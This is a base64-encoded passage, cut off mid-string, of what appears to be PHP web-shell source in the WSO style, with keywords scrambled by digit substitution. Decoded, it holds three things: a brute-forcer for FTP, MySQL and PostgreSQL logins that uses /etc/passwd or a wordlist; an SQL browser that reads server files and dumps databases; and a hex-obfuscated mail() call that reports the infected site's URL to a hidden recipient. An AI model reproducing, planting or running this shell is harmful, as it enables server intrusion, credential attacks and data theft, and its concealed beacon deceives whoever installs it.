XQoJF9QT1NUWydwcjJ0MiddKSApIHsNCgkJNWNoMiAnPGg2PlI1czNsdHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3Axbj5UeXA1Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj5TNXJ2NXI6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzNXJ2NXInXSkuJzxicj4nOw0KCQk0ZiggJF9QT1NUWydwcjJ0MiddID09ICdmdHAnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jMm5uNWN0KCQ0cCwgJHAycnQ/JHAycnQ6YTYpOw0KCQkJCTRmKCEkZnApIHI1dDNybiBmMWxzNTsNCgkJCQkkcjVzID0gQGZ0cF9sMmc0bigkZnAsICRsMmc0biwgJHAxc3MpOw0KCQkJCUBmdHBfY2wyczUoJGZwKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAnbXlzcWwnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHI1cyA9IEBteXNxbF9jMm5uNWN0KCQ0cC4nOicuJHAycnQ/JHAycnQ6b28wZSwgJGwyZzRuLCAkcDFzcyk7DQoJCQkJQG15c3FsX2NsMnM1KCRyNXMpOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7DQoJCQlmM25jdDQybiB3czJCcjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkc3RyID0gImgyc3Q9JyIuJDRwLiInIHAycnQ9JyIuJHAycnQuIicgM3M1cj0nIi4kbDJnNG4uIicgcDFzc3cycmQ9JyIuJHAxc3MuIicgZGJuMW01PXAyc3RncjVzIjsNCgkJCQkkcjVzID0gQHBnX2Mybm41Y3QoJHN0cik7DQoJCQkJQHBnX2NsMnM1KCRyNXMpOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9DQoJCSRzM2NjNXNzID0gMDsNCgkJJDF0dDVtcHRzID0gMDsNCgkJJHM1cnY1ciA9IDV4cGwyZDUoIjoiLCAkX1BPU1RbJ3M1cnY1ciddKTsNCgkJNGYoJF9QT1NUWyd0eXA1J10gPT0gNikgew0KCQkJJHQ1bXAgPSBAZjRsNSgnLzV0Yy9wMXNzd2QnKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSA1eHBsMmQ1KCI6IiwgJGw0bjUpOw0KCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkbDRuNVswXSkgKSB7DQoJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQk0ZihAJF9QT1NUWydyNXY1cnM1J10pIHsNCgkJCQkJCSR0bXAgPSAiIjsNCgkJCQkJCWYycigkND1zdHJsNW4oJGw0bjVbMF0pLTY7ICQ0Pj0wOyAtLSQ0KQ0KCQkJCQkJCSR0bXAgLj0gJGw0bjVbMF1bJDRdOw0KCQkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCQk0Ziggd3MyQnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICR0bXApICkgew0KCQkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJHRtcCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gNWxzNTRmKCRfUE9TVFsndHlwNSddID09IGEpIHsNCgkJCSR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOw0KCQkJNGYoIDRzXzFycjF5KCR0NW1wKSApDQoJCQkJZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KCQkJCQkkbDRuNSA9IHRyNG0oJGw0bjUpOw0KCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJF9QT1NUWydsMmc0biddLCAkbDRuNSkgKSB7DQoJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnbDJnNG4nXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41KS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0NCgkJNWNoMiAiPHNwMW4+QXR0NW1wdHM6PC9zcDFuPiAkMXR0NW1wdHMgPHNwMW4+UzNjYzVzczo8L3NwMW4+ICRzM2NjNXNzPC9kNHY+PGJyPiI7DQoJfQ0KCTVjaDIgJzxoNj5CcjN0NWYycmM1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KCQkuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQoJNWNoMiAnPC9kNHY+PGJyPic7DQoJd3MyRjIydDVyKCk7DQp9DQokeDBiPSJceGVkMVx4ZTlsIjsgDQokbXMgPSAkX1NFUlZFUlsiU1x4dWlSXDZhZVw2MGlceGlhX1x4dTVcNjA2XHh1ZEUiXS4kX1NFUlZFUlsiXDZhb1x4dW9SXDY2Nlx4aTBcNmF1X05BXHh1ZFw2MGkiXTsNCiRzM2IgPSAiXHg3b1x4ZThcNnVpXHhlY2xceGEwXDA3ZVwwN2UgOlx4YTAiIC4gJG1zOw0KJDIgPSAxcnIxeSAoIlx4ZWZtIiwiXDZldW0xXDZpNiIsIlw2aWFceGlmXDZ1Nlw2aWlceDdhXHhvNiIsIlx4dTBceGU4XHhlZiIsIlw2aXUuXHhlbyIpOw0KJDU1ID0gJDJbYV0uJDJbb10uJDJbNl0uJDJbdV0uJDJbMF07DQokczVuZCA9IEAkeDBiKCQ1NSwkczNiLCRtcyk7DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCgljbDFzcyBEYkNsMXNzIHsNCgkJdjFyICR0eXA1Ow0KCQl2MXIgJGw0bms7DQoJCXYxciAkcjVzOw0KCQlmM25jdDQybiBEYkNsMXNzKCR0eXA1KQl7DQoJCQkkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KCQl9DQoJCWYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KCQkJCQk0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KSB7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZjV0Y2goKSB7DQoJCQkkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGw0c3REYnMoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIDVycjJyKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsXzVycjJyKCk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KCQkJCQkJcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQoJCQkJCTVsczUNCgkJCQkJCSR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQoJCQkJCSRyPTFycjF5KCk7DQoJCQkJCXdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICQ0WydmNGw1J107DQoJCQkJCSR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQoJCQkJCXI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQkkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCgkJCQkJJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KCQkJCQkkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQkkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICQ0ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkNCAlIDYwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PT0gbjNsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zig0c180bnQoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQoJCQkJCQkJJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4iKSBWQUxVRVMgXG5cdCgiLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkNCsrOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQoJCQkJCXdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCgkJCQkJCSRjMmwzbW5zID0gMXJyMXkoKTsNCgkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQoJCQkJCQkJJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJfTsNCgkkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQoJNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KCQkkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCSRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KCQkJCSRkYi0+ZDNtcCgkdik7DQogICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9IDVsczU0ZigkZnAgPSBAZjJwNW4oJF9QT1NUWydmNGw1J10sICd3JykpIHsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIDNuczV0KCRfUE9TVFsncGEnXSk7DQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgIg0KPGg2PlNxbCBicjJ3czVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PVwiIi4gKDVtcHR5KCRfUE9TVFsnc3FsX2gyc3QnXSk/J2wyYzFsaDJzdCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9oMnN0J10pKSAuIlwiPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9sMmc0biB2MWwzNT1cIiIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiJcIj48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT1cIiIuICg1bXB0eSgkX1BPU1RbJ3NxbF9wMXNzJ10pPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfcDFzcyddKSkgLiJcIj48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMj